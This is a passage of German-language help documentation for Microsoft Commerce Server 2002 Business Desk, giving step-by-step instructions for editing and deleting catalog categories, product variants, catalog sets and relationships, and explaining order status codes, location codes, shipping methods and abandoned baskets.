  3. Wählen Sie im Bildschirm Katalog – Katalogname im Bereich Kategorien die Kategorie aus, deren Hierarchie Sie bearbeiten möchten, und klicken Sie anschließend auf Bearbeiten.
  4. Wählen Sie im Bildschirm Katalog – Katalogname (Kategorie) im Bereich Zugewiesene Kategorien die Kategorie in der Liste Kategorien aus, die Sie mit dieser Unterkategorie verbinden möchten.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die bearbeitete Kategorie zu speichern und zum Bildschirm Katalog – Katalogname zurückzukehren.
  6. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um den aktualisierten Katalog in Ihrer Website zu veröffentlichen.

Der aktualisierte Katalog wird in der Website veröffentlicht.


Bearbeiten von Produktvarianten

Mit dem Katalog-Editor-Modul werden vorhandene Produktvarianten bearbeitet. Wenn Sie beispielsweise T-Shirts verkaufen und die SKU (Stockkeeping Unit) ändern möchten, können Sie nun die vorhandene Variante des ausgewählten T-Shirts bearbeiten.

So bearbeiten Sie ein Produktvariante

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog aus, in dem Sie eine Produktvariante bearbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Katalog – Katalogname im Bereich Produkte das Produkt aus, von dem Sie eine Produktvariante bearbeiten möchten, und klicken Sie anschließend auf Bearbeiten.
  4. Wählen Sie im Bildschirm Katalog – Katalogname (Produkt) im Bereich Produktvarianten im Feld Produktvarianten die Produktvariante aus, die Sie bearbeiten möchten.

    Je nach Typ der Produktvariante, die Sie bearbeiten möchten, stehen im Bereich Produktvarianten unterschiedliche Eigenschaftsfelder zur Verfügung.

  5. Bearbeiten Sie die Eigenschaften in den Feldern, und klicken Sie anschließend auf Fertig.
  6. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um Ihre Änderungen zu speichern und zum Bildschirm Katalog – Katalogname zurückzukehren.
  7. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um den aktualisierten Katalog in Ihrer Website zu veröffentlichen.

Der aktualisierte Katalog wird in der Website veröffentlicht.

Siehe auch

Löschen von Produktvarianten

Preisberechnung für ein Produkt in einem Basiskatalog

Aktualisieren und Veröffentlichen eines Katalogs


Ändern eines Katalogsatzes

Sie können vorhandene Katalogsätze ändern. Sie ändern die für Ihre Benutzer angezeigten Kataloge, indem Sie aus vorhandenen Katalogsätzen Kataloge entfernen oder Kataloge hinzufügen. Änderungen der Katalogsätze wirken sich nicht auf die Inhalte einzelner Kataloge aus.

So ändern Sie einen Katalogsatz

  1. Klicken Sie im Menü Kataloge auf Katalogsätze.
  2. Wählen Sie im Bildschirm Katalogsätze den Katalogsatz aus, den Sie ändern möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  3. Ändern Sie im Bildschirm Katalogsätze die Katalogsatzeigenschaften je nach Bedarf.
  4. Wenn Sie einen Katalog aus der Liste Zugewiesene Kataloge entfernen möchten, klicken Sie auf Entfernen.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um Ihre Änderungen zu speichern und zum Bildschirm Katalogsätze zurückzukehren.
  6. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um den aktualisierten Katalog in Ihrer Website zu veröffentlichen.

Der aktualisierte Katalog wird in der Website veröffentlicht.


Löschen einer Kategorie aus einem Katalog

Mit dem Katalog-Editor-Modul können Sie eine Kategorie aus einem Katalog löschen. Wenn Sie eine Kategorie aus einem Katalog löschen, wirkt sich dies auf jede Kategorie aus, die mit der zu löschenden Kategorie verknüpft ist, sei es durch eine Beziehung oder durch die Hierarchie. Wenn diese Kategorie durch einen Kategoriepreis mit Produkten verbunden ist, wirkt sich das Löschen der Kategorie auch auf diese Produkte aus. Beispiel: Sie möchten eine Kategorie mit dem Namen "Nur 5 €" entfernen, verfügen jedoch über 15 CDs, die diese Kategorie als Preiskategorie verwenden. Sobald die Kategorie gelöscht ist, erhalten diese CDs wieder den Preis, den Sie ihnen auf Produktebene zugewiesen haben.

So löschen Sie eine Kategorie aus einem Katalog

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog aus, aus dem Sie eine Kategorie löschen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Katalog – Katalogname im Bereich Kategorien die Kategorie aus, die Sie löschen möchten, und klicken Sie anschließend auf Löschen.

    Vorsicht

    • Wenn die Kategorie versehentlich gelöscht wurde, müssen Sie sie erneut zum Katalog hinzufügen.
  4. Klicken Sie auf der Symbolleiste auf Zurück, um zum Bildschirm Kataloge zurückzukehren.
  5. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um den aktualisierten Katalog in Ihrer Website zu veröffentlichen.

Der aktualisierte Katalog wird in der Website veröffentlicht.

Siehe auch

Hinzufügen einer Kategorie zu einem Katalog

Bearbeiten einer Kategorie in einem Basiskatalog


Löschen eines Produkts aus einem Katalog

Mit dem Katalog-Editor-Modul können Sie ein Produkt aus einem Katalog löschen. Wenn Sie z. B. ein Produkt aus Ihrem Katalog nicht auf Lager haben und auch nicht mehr verkaufen möchten, können Sie es aus dem Katalog entfernen.

Hinweis

  • Das Löschen von Produkten, die zu einer Produktbeziehung gehören, wirkt sich auch auf die Beziehung aus.

So löschen Sie ein Produkt

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog aus, aus dem Sie ein Produkt löschen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Katalog – Katalogname im Bereich Produkte in der Liste Produkte das Produkt aus, das Sie löschen möchten, und klicken Sie anschließend auf Löschen.

    Vorsicht

    • Wenn das Produkt versehentlich gelöscht wurde, müssen Sie es erneut zum Katalog hinzufügen.
  4. Klicken Sie auf der Symbolleiste auf Zurück, um zum Bildschirm Kataloge zurückzukehren.
  5. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um den aktualisierten Katalog in Ihrer Website zu veröffentlichen.

Der aktualisierte Katalog wird in der Website veröffentlicht.

Siehe auch

Hinzufügen eines Produkts zu einem Katalog

Bearbeiten eines Produkts in einem Basiskatalog


Löschen eines Basiskatalogs

Mithilfe des Katalog-Editor-Moduls können Sie veraltete Basiskataloge löschen.

Vorsicht

  • Sobald ein Katalog gelöscht ist, kann er nicht wiederhergestellt werden.
  • Der Katalog wird bis zur nächsten Aktualisierung der Website angezeigt.
  • Wenn Sie einen Basiskatalog löschen, der in einem virtuellen Katalog enthalten ist, wird keine entsprechende Meldung angezeigt. Nachdem Sie den Basiskatalog gelöscht haben, wird der Katalog im Bildschirm Katalog-Editor mit folgendem Zusatz gekennzeichnet: Erneut erstellen = Erforderlich.

So löschen Sie einen Basiskatalog

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog aus, den Sie löschen möchten, und klicken Sie anschließend auf der Symbolleiste auf Löschen.
  3. Klicken Sie im Dialogfeld Löschen des Katalogs bestätigen auf Ja, um den Katalog zu löschen.
  4. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, damit Ihre Website so aktualisiert wird, dass der Katalog nicht mehr angezeigt wird.

Der Katalog wird jetzt aus der Website gelöscht.

Siehe auch

Exportieren eines Katalogs

Erstellen eines Basiskatalogs

Bearbeiten von Katalogeigenschaften

Ändern eines Katalogsatzes


Löschen eines Katalogsatzes

Wird ein vorhandener Katalogsatz nicht mehr benötigt, kann er gelöscht werden. Das Löschen eines Katalogsatzes hat keine Auswirkungen auf die darin enthaltenen Kataloge. Es wird lediglich die Gruppierung gelöscht. Beim Löschen eines Katalogsatzes, der mit vorhandenen Benutzern verknüpft ist, wird auch diese Verknüpfung zu den Benutzern gelöscht.

So löschen Sie einen Katalogsatz

  1. Klicken Sie im Menü Kataloge auf Katalogsätze.
  2. Wählen Sie im Bildschirm Katalogsätze den Katalogsatz aus, den Sie löschen möchten, und klicken Sie dann auf der Symbolleiste auf Löschen.
  3. Klicken Sie im Dialogfeld Löschen von Katalogsatz bestätigen auf Ja, um den Katalogsatz zu löschen.
  4. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, damit Ihre Website so aktualisiert wird, dass der Katalogsatz nicht mehr angezeigt wird.

Der Katalogsatz wird jetzt aus der Website gelöscht.


Löschen von Produktvarianten

Sie können jederzeit Produktvarianten eines Produkts löschen.

So löschen Sie eine Produktvariante eines Produkts

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog aus, aus dem Sie eine Produktvariante löschen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Katalog – Katalogname im Bereich Produkte das Produkt aus, von dem Sie eine Produktvariante löschen möchten, und klicken Sie anschließend auf Bearbeiten.
  4. Wählen Sie im Bildschirm Katalog-Editor – Katalogname (Produkt) im Bereich Produktvarianten in der Tabelle Produktvarianten die Produktvariante aus, die Sie entfernen möchten. Klicken Sie anschließend auf Entfernen.

    Die Produktvariante wird aus der Tabelle Produktvarianten entfernt.

    Vorsicht

    • Wenn die Produktvariante versehentlich gelöscht wurde, müssen Sie sie erneut zum Katalog hinzufügen.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Änderungen zu speichern und zum Bildschirm Katalog – Katalogname zurückzukehren.
  6. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um den aktualisierten Katalog in Ihrer Website zu veröffentlichen.

Der aktualisierte Katalog wird in der Website veröffentlicht.


Verwalten von Kategorie- und Produktbeziehungen

Kategorien und Produkte können mit anderen Kategorien und Produkten verbunden werden. Mit einer Produkt-zu-Produkt-Beziehung können Sie z. B. einen Benutzer, der einen Film kauft, auch für den zugehörigen Soundtrack interessieren. In einer Kategorie-zu-Kategorie-Beziehung können Sie Beziehungen zwischen Kategorien (z. B. zwischen CDs und Biographien) herstellen. Wenn Sie CDs mit klassischer Musik haben, verfügen Sie möglicherweise auch über Biographien von klassischen Komponisten.

Vorhandene Produkt- oder Kategoriebeziehungen können bearbeitet oder gelöscht werden. Wenn Sie eine neue Version eines Filmsoundtracks hinzufügen möchten, können Sie die Produktbeziehung für den vorhandenen Soundtrack ändern, um eine weitere Version anzubieten.

Dieser Abschnitt beinhaltet folgende Themen:

  • Bearbeiten einer Katalogkategoriebeziehung
  • Bearbeiten einer Katalogproduktbeziehung
  • Löschen einer Katalogkategoriebeziehung
  • Löschen einer Katalogproduktbeziehung


Bearbeiten einer Katalogkategoriebeziehung

Wann immer sich eine Beziehung ändert, können die Kategoriebeziehungen entsprechend bearbeitet werden. Beispiel: Sie haben eine Kategoriebeziehung zwischen klassischer Musik und den Biographien von Klassikkomponisten erstellt. Wenn Sie nun beschließen, in Zukunft Dokumentarfilme über Klassikkomponisten anzubieten, jedoch keine Biographien mehr zu liefern, können Sie die vorhandene Beziehung zu einer Beziehung zwischen klassischer Musik und Dokumentarfilmen über Klassikkomponisten umwandeln.

So bearbeiten Sie eine Kategoriebeziehung

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog aus, in dem Sie eine Beziehung bearbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Katalog – Katalogname im Bereich Kategorien die Kategorie aus, zu der Sie eine Beziehung bearbeiten möchten, und klicken Sie anschließend auf Bearbeiten.
  4. Geben Sie im Bildschirm Katalog-Editor – Katalogname (Kategorie) im Bereich Kategoriebeziehungen die erforderlichen Änderungen ein, und klicken Sie anschließend auf Annehmen, um die Beziehung zu speichern.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um Ihre Änderungen zu speichern und zum Bildschirm Katalog – Katalogname zurückzukehren.
  6. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um den aktualisierten Katalog in Ihrer Website zu veröffentlichen.

Der aktualisierte Katalog wird in der Website veröffentlicht.


Bearbeiten einer Katalogproduktbeziehung

Wann immer sich eine Beziehung ändert, können die Produktbeziehungen entsprechend bearbeitet werden. Wenn Sie beispielsweise eine Produktbeziehung zwischen einem Film und dem Soundtrack dieses Films erstellt haben und nun eine neue Remixversion des Soundtracks hinzufügen möchten, müssen Sie die Produktbeziehung bearbeiten.

So bearbeiten Sie eine Produktbeziehung

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog aus, in dem Sie eine Produktbeziehung bearbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Katalog – Katalogname im Bereich Produkte das Produkt aus, zu dem Sie eine Beziehung bearbeiten möchten, und klicken Sie anschließend auf Bearbeiten.
  4. Geben Sie im Bildschirm Katalog-Editor – Katalogname (Produkt) im Bereich Produktbeziehungen die erforderlichen Änderungen für die Produktbeziehung ein, und klicken Sie anschließend auf Annehmen, um die Beziehung zu speichern.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um Ihre Änderungen zu speichern und zum Bildschirm Katalog – Katalogname zurückzukehren.
  6. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um den aktualisierten Katalog in Ihrer Website zu veröffentlichen.

Der aktualisierte Katalog wird in der Website veröffentlicht.


Löschen einer Katalogkategoriebeziehung

Kategoriebeziehungen können jederzeit gelöscht werden, wenn Sie beispielsweise eine bestimmte Produktkategorie nicht mehr verkaufen oder die Produkte in der Website neu anordnen möchten.

So löschen Sie eine Kategoriebeziehung

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog aus, aus dem Sie eine Kategoriebeziehung löschen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Katalog – Katalogname im Bereich Kategorien die Kategorie aus, von der Sie eine Beziehung löschen möchten, und klicken Sie anschließend auf Bearbeiten.
  4. Wählen Sie im Bildschirm Katalog-Editor – Katalogname (Kategorie) im Bereich Kategoriebeziehungen die Kategoriebeziehung aus, die Sie löschen möchten, und klicken Sie anschließend auf Löschen.

    Vorsicht

    • Wenn Sie eine Beziehung versehentlich löschen, müssen Sie sie erneut zum Katalog hinzufügen.
  5. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um den aktualisierten Katalog in Ihrer Website zu veröffentlichen.

Der aktualisierte Katalog wird in der Website veröffentlicht.


Löschen einer Katalogproduktbeziehung

Produkte können jederzeit aus Produktbeziehungen gelöscht werden. Wenn Sie z. B. die Produkte in Ihrer Website neu anordnen möchten, müssen Sie dazu unter Umständen mehrere Produktbeziehungen löschen.

So löschen Sie eine Produktbeziehung

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog aus, aus dem Sie eine Produktbeziehung löschen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Katalog – Katalogname im Bereich Produkte die Eigenschaft aus, von der Sie eine Beziehung löschen möchten, und klicken Sie anschließend auf Bearbeiten.
  4. Wählen Sie im Bildschirm Katalog-Editor – Katalogname (Produkt) im Bereich Produktbeziehungen die Produktbeziehung aus, die Sie löschen möchten, und klicken Sie anschließend auf Löschen.

    Vorsicht

    • Wenn Sie eine Beziehung versehentlich löschen, müssen Sie sie erneut zum Katalog hinzufügen.
  5. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um den aktualisierten Katalog in Ihrer Website zu veröffentlichen.

Der aktualisierte Katalog wird in der Website veröffentlicht.


Business Desk-Bestellungen

Die Bestellmodule werden dazu verwendet, die Commerce Server-Datenbank nach bestehenden Bestellinformationen zu durchsuchen oder gespeicherte Warenkörbe zu löschen, die nicht mehr benutzt werden. Sie können z. B. mithilfe von Bestellstatuscodes die Position einer Bestellung innerhalb des Bestellablaufs ermitteln und somit herausfinden, wo eine Bestellung blockiert ist oder noch nicht gelöste Probleme haben könnte. Sie können auch Steuersätze und Versandarten hinzufügen und die Informationen dann in der Website aktualisieren.

Dieser Abschnitt beinhaltet folgende Themen:

  • Workflow für die Bestellverwaltung. Veranschaulicht den Workflow für die Verwaltung von Bestellungen.
  • Informationen zu Bestellungen. Beschreibt die Komponenten einer Bestellung.
  • Hinzufügen von Bestellstatuscodes. Erläutert, wie Bestellstatuscodes hinzugefügt werden.
  • Hinzufügen von Länder-/Regionalcodes. Erläutert, wie Länder-/Regionalcodes hinzugefügt werden.
  • Hinzufügen von Codes für Bundesländer/Kantone. Erläutert, wie Codes für Bundesländer/Kantone hinzugefügt werden.
  • Verwalten von Bestellstatuscodes. Erläutert, wie Sie Bestellstatuscodes bearbeiten und löschen können.
  • Verwalten von Standortcodes. Erläutert, wie Sie Standortcodes bearbeiten und löschen können.
  • Anpassen der Versandarten. Erläutert die drei Versandarten, die in Microsoft Commerce Server 2002 enthalten sind und erläutert, wie diese an eine Website angepasst werden.
  • Hinzufügen von Steuersätzen. Erläutert, wie Länder-/Regionalcodes, Codes für Bundesländer/Kantone und Steuersätze hinzugefügt werden.
  • Verwalten von Steuersätzen. Erläutert, wie Länder-/Regionalcodes, Codes für Bundesländer/Kantone und Steuersätze angepasst werden.
  • Veröffentlichen von Bestellcodes in einer Website. Erläutert, wie neue Bestellcodedaten (z. B. geänderte Bestellungen, neue Steuersätze und Versandarten) in einer Website veröffentlicht werden.
  • Suchen und Sortieren von Warenkörben. Erläutert, wie gespeicherte Warenkörbe gesucht und sortiert werden.
  • Löschen von Warenkörben. Erläutert, wie nicht mehr genutzte, gespeicherte Warenkörbe gelöscht werden.
  • Suchen, Anzeigen und Sortieren von Bestellungen. Erläutert, wie Bestellungen gesucht, angezeigt und sortiert werden.
  • Löschen von Bestellungen. Erläutert, wie Bestellungen in der Commerce Server-Datenbank gelöscht werden.


Workflow für die Bestellverwaltung

Die folgende Abbildung illustriert ein Beispielszenario für die Eingabe von Bestellstatuscodes, Länder-/Regionalcodes und Codes für Bundesländer/Kantone sowie für das Anpassen von Versandarten und das Hinzufügen von Steuersätzen.

  1. Im Modul "Bestellstatus" werden Bestellstatuscodes hinzugefügt, mit denen Bestellungen verfolgt werden können, die von den Benutzern der Website abgegeben worden sind. Führen Sie diesen Schritt nur durch, wenn die standardmäßigen Bestellstatuscodes nicht den Anforderungen Ihres Unternehmens entsprechen.
  2. Im Modul "Standordcodes" werden Länder-/Regionalcodes hinzugefügt, die in der Website als Versandoption für die Benutzer angezeigt werden.
  3. Im Modul "Standordcodes" werden Codes für Bundesländer/Kantone hinzugefügt, die in der Website als Versandoption für die Benutzer angezeigt werden.
  4. Im Modul "Versandarten" werden die Versandarten angepasst, die den Benutzern der Website zur Verfügung stehen.
  5. Im Modul "Steuersatz" werden Steuersätze hinzugefügt.
  6. Im Modul "Bestellcodes veröffentlichen" werden die Änderungen in der Website veröffentlicht.

Siehe auch

Informationen zu Bestellungen

Hinzufügen von Bestellstatuscodes

Hinzufügen von Länder-/Regionalcodes

Hinzufügen von Codes für Bundesländer/Kantone

Anpassen der Versandarten

Hinzufügen von Steuersätzen

Veröffentlichen von Bestellcodes in einer Website


Informationen zu Bestellungen

Mithilfe der Bestellmodule von Commerce Server Business Desk können Informationen über den Bestellstatus angezeigt, die in Bestellungen verwendeten Bestelldatencodes gepflegt und die von Benutzern in der Website aufgegebenen Bestellungen verwaltet werden. Der Warenkorb-Manager wird z. B. dafür verwendet, Warenkörbe zu löschen, die von Benutzern aufgegeben wurden. Im Modul "Steuersatz" können Steuersätze hinzugefügt und Versandarten angepasst werden.

Dieser Abschnitt beinhaltet folgende Themen:

  • Bestellstatuscodes
  • Standortcodes
  • Bestellabwicklung
  • Versandarten
  • Aufgegebene Warenkörbe


Bestellstatuscodes

Mit Bestellstatuscodes können Sie Bestellungen verfolgen, die von Benutzern abgegeben worden sind. Mithilfe des Moduls "Bestellstatuscodes" können Sie Bestellstatuscodes hinzufügen, die in der Website angezeigt werden. Beispielsweise können Sie einen Bestellcode für Bestellungen hinzufügen, die blockiert sind oder noch nicht gelöste Probleme haben. Weitere Informationen zum Hinzufügen von Bestellstatuscodes finden Sie unter Hinzufügen von Bestellstatuscodes.

Bestellstatuscodes werden dazu verwendet, den aktuellen Status einer Bestellung zu verfolgen. Standardmäßig gibt es drei Bestellstatuscodes: 4 (Neue Bestellung), 2 (Gespeicherte Bestellung) und 1 (Warenkorb).

Wenn Benutzer Artikel zum Warenkorb hinzufügen oder Bestellungen an die Website absenden, erhalten die Bestellungen jeweils Statuscodes. Eine neue Bestellung, die noch nicht verarbeitet worden ist, erhält z. B. den Statuscode 4 (Neue Bestellung). Sie können nach bestimmten Bestellungen suchen, die von Besuchern Ihrer Site aufgegeben wurden. So können Sie z. B. eine Bestellung nach der Artikelbeschreibung, der Produkt-ID oder der Bestellnummer suchen. Sie können die Bestellungen auch sortieren, um die gesuchten Informationen deutlicher anzuzeigen. Z. B. können Bestellungen nach dem Bestellstatus oder dem Nachnamen des Benutzers sortiert werden.


Standortcodes

Zum Festlegen von Versand- und Rechnungsadressen verwenden Sie Standortcodes. Es gibt zwei Typen von Standortcodes:

  • Länder-/Regionalcodes. Diese Codes bezeichnen die Länder oder Regionen, in welche die Artikel nach den Angaben der Benutzer der Site gesendet werden sollen.
  • Codes für Bundesländer/Kantone. Diese Codes bezeichnen die Bundesländer oder Kantone, in welche die Artikel gemäß der Bestellung geschickt werden sollen.

Mit dem Modul "Standortcodes" können Sie Standortcodes hinzufügen und bearbeiten. Bevor Sie einen neuen Code für Bundesländer/Kantone hinzufügen, müssen Sie sich vergewissern, dass der entsprechende Länder/Regionalcode in Ihrer Datenbank vorhanden ist.

Wenn Benutzer in der Site Artikel bestellen, füllen Sie ein Profilformular aus, in dem die jeweilige Lieferadresse enthalten ist. Die Profilformulare der Website enthalten die von Ihnen festgelegten Codes für Bundesländer/Kantone und die Länder-/Regionalcodes.

Siehe auch

Workflow für die Bestellverwaltung

Hinzufügen von Bestellstatuscodes

Hinzufügen von Länder-/Regionalcodes

Hinzufügen von Codes für Bundesländer/Kantone

Verwalten von Bestellstatuscodes


Bestellabwicklung

Nachdem ein Benutzer eine Bestellung an die Website abgeschickt hat, wird diese von der Commerce Server Order Processing Pipeline verarbeitet. Diese Order Processing Pipeline (OPP) teilt die Bearbeitung der Bestellungen in Phasen auf, die jeweils eine Arbeitskategorie beschreiben. Eine typische OPP kann aus einer Kundeninformationsphase, einer Zahlungsphase und einer Versandphase bestehen. So werden z. B. die Produktbeschreibung und die Lieferadressen des Benutzers aus der Commerce Server-Datenbank abgerufen, worauf die Berechnung der Steuer erfolgt. Die Bestellinformationen und der Gesamtpreis werden für die Bestellung in der Commerce Server-Datenbank gespeichert.

Sie können Microsoft BizTalk Server 2000 und höher sowie Business Desk Orders zusammen verwenden, um Bestellungen zu verarbeiten, die auf einer Commerce Server-Website von den Benutzern aufgegeben werden. Beispielsweise können Sie in Ihrer Site Computerhardware verkaufen, die in einigen Fällen von Ihrem Unternehmen hergestellt und in anderen Fällen von Ihren Handelspartnern bereitgestellt wird. Mit BizTalk Server können Sie mit jedem Handelspartner, der Ihnen Hardware für den Verkauf zuliefert, eine separate Vereinbarung treffen. Wenn ein Benutzer in Ihrer Website eine Bestellung für ein Produkt aufgibt, das Sie von einem Handelspartner beziehen, wird diese Bestellung von Commerce Server verarbeitet und an BizTalk Server weitergeleitet. Anschließend wird die Bestellung von BizTalk Server an den entsprechenden Handelspartner weitergegeben, damit sie ausgeführt werden kann. Weitere Informationen über die Integration von BizTalk Server in Business Desk Orders erhalten Sie bei Ihrem Systemadministrator.

Siehe auch

Workflow für die Bestellverwaltung


Versandarten

Damit ein Benutzer in der Website eine Bestellung aufgeben kann, muss wenigstens eine Versandart zur Verfügung stehen.

Commerce Server Business Desk unterstützt drei Versandarten:

  • Gebühr nach Gewicht. Mit dieser Methode können Sie die Frachtkosten nach dem Gewicht einer Bestellung in Rechnung stellen. Diese Methode wird verwendet, um Gebühren für bestimmte Gewichtsgruppen festzulegen.

    Hinweis

    • Um eine Gebühr nach Gewicht zu erheben, müssen alle Produkte im Katalog die Produkteigenschaft "Gewicht" aufweisen. Wenn Sie Produkte haben, für die keine Gewichtsangaben festgelegt sind, wird diese Option in Ihrer Website nicht einwandfrei funktionieren. Weitere Informationen über das Hinzufügen von Produktdefinitionen finden Sie unter Hinzufügen einer Produktdefinition.
  • Gebühr nach Menge. Verwenden Sie diese Methode, um die Frachtkosten nach der Anzahl der bestellten Artikel festzulegen. Sie können die Gebühr für eine genaue Zahl oder für einen Mengenbereich von Artikeln festlegen. So kostet z. B. der Versand einer Bestellung von bis zu 3 Artikeln 2,00 Euro. Wenn die Bestellung mehr als 3 Artikel umfasst, betragen die Frachtkosten 4,00 Euro.
  • Gebühr nach Zwischensumme. Verwenden Sie diese Methode, um die Frachtkosten nach der Zwischensumme, d. h. dem Bestellwert, in Rechnung zu stellen. So entsteht für den z. B. der Versand einer Bestellung von 4 CDs zum Gesamtpreis von 70,00 Euro eine Gebühr von 5,00 Euro. Beim Versand einer CD zum Preis von 17,99 Euro könnten die Frachtkosten nur 2,00 Euro betragen.

Sie können die Eigenschaften einer ausgewählten Versandart jederzeit ändern. Wenn sich z. B. die Frachtkosten ändern, können Sie die Kosten pro Versandart entsprechend ändern.

Wenn Sie weitere Versandarten benötigen oder einen Paketdienst beauftragen (z. B. UPS oder DHL), der die Anwendung eines Drittanbieters zur Verfügung stellt, wenden Sie sich an Ihren Systemadministrator, um Hilfe zu erhalten. Wenn Sie eine Anwendung eines Drittanbieters verwenden, die von einem Paketdienst zur Verfügung gestellt wird, sollten Sie sich mit diesem in Verbindung setzen und sich nach den dort standardmäßig verwendeten Länder-/Regionalcodes erkundigen, bevor Sie Ihrer Commerce Server-Datenbank Länder-/Regionalcodes hinzufügen.

Um Informationen über das Installieren einer eigenen Versandart oder der Pipelinekomponente eines Drittanbieters zu erhalten, setzen Sie sich bitte mit Ihrem Systemadministrator in Verbindung.

Weitere Informationen über das Anpassen von Versandarten finden Sie unter Anpassen der Versandarten.

Siehe auch

Workflow für die Bestellverwaltung

Anpassen der Versandarten

Mehrsprachige Versandarten


Mehrsprachige Versandarten

Versanddienstleistungen können in der Website in mehreren Sprachen zur Verfügung gestellt werden. Mithilfe des Versandartenmoduls können Sie in Business Desk mehrsprachige Namen und Beschreibungen für Versandarten eingeben. Um eine Versandart in Ihrer Website in einer anderen Sprache als der Standardsprache des Servers anzuzeigen, müssen Sie die Sprache auswählen, die im Versandartenmodul von Business Desk mit dieser Versandart verknüpft ist. Weitere Informationen über das Erstellen mehrsprachiger Versandarten finden Sie unter Anpassen der Versandarten.

Siehe auch

Versandarten

Anpassen der Versandarten


Aufgegebene Warenkörbe

Wenn Benutzer Einkäufe in Ihrer Site tätigen, legen sie die Artikel, die sie kaufen möchten, in einen virtuellen Warenkorb. Wenn Benutzer auschecken (d. h. virtuell an die Kasse gehen), sind alle für den Kauf vorgesehenen Artikel im Warenkorb aufgeführt. In bestimmten Fällen können sich Benutzer aber auch von der Website abmelden, ohne auszuchecken oder den Warenkorb zu leeren. Diese aufgegebenen Warenkörbe verbleiben so lange in der Commerce Server-Datenbank, bis sie vom Administrator gelöscht werden oder Benutzer zurückkehren und ihre Warenkörbe selbst leeren. Benutzer können ihre Warenkörbe auch speichern und diese unbegrenzt in der Commerce Server-Datenbank belassen.

Um zu verhindern, dass eine große Zahl aufgegebener oder gespeicherter Warenkörbe in der Commerce Server-Datenbank zu viel Speicherplatz belegt, müssen Warenkörbe, die aufgegeben oder eine gewisse Zeit gespeichert worden sind, regelmäßig gelöscht werden. Im Suchbereich des Warenkorb-Manager-Moduls von Business Desk können Sie mithilfe von Filterkriterien gezielt nach Warenkörben suchen, die gelöscht werden sollen. So können Sie z. B. nach Warenkörben suchen, die aufgegeben oder länger als zwei Wochen gespeichert worden sind und diese dann löschen. Weitere Informationen erhalten Sie unter Löschen von Warenkörben.

Siehe auch

Workflow für die Bestellverwaltung

Suchen und Sortieren von Warenkörben

Suchen, Anzeigen und Sortieren von Bestellungen


Hinzufügen von Bestellstatuscodes

Bestellstatuscodes werden dazu verwendet, die Position einer Bestellung innerhalb des Bestellablaufs zu ermitteln. Ein Bestellstatuscode identifiziert die Bezeichnung eines bestimmten Abschnitts innerhalb des Bestellablaufs durch einen Code. Wenn z. B. ein Benutzer vor acht Wochen zwei CDs und zwei T-Shirts bestellt hat, können Sie die Bestellstatuscodes dieser Bestellung anzeigen, um zu ermitteln, in welchem Stadium der Bestellungsabwicklung die Bestellung sich momentan befindet. Es gibt standardmäßig drei Bestellstatuscodes: 4 (Neue Bestellung), 2 (Gespeicherte Bestellung) und 1 (Warenkorb). Sie können auch neue Bestellstatuscodes erstellen, um eine einzelne Bestellung im Bestellablauf zu verfolgen. So können Sie beispielsweise einen Bestellstatuscode zum Definieren unbearbeiteter Bestellungen in Ihrer Website erstellen.

Hinweis

  • Nach Hinzufügen eines neuen Bestellstatuscodes muss der Systemadministrator auf jedem Webserver die Commerce Server-Anwendung aus dem Speicher nehmen (d. h. beenden und neu starten), damit die Änderungen wirksam werden. Weitere Informationen finden Sie unter Entfernen einer Anwendung aus dem Speicher.

So fügen Sie einen Bestellstatuscode hinzu

  1. Klicken Sie im Menü Bestellungen auf Bestellstatuscodes.
  2. Klicken Sie im Bildschirm Bestellstatuscodes auf der Symbolleiste auf Hinzufügen.
  3. Führen Sie im Bildschirm Bestellstatuscodes folgende Schritte aus:
    Funktion | Aktion
    Code | Wählen Sie in der Dropdownliste die Codenummer für den Statuscode.
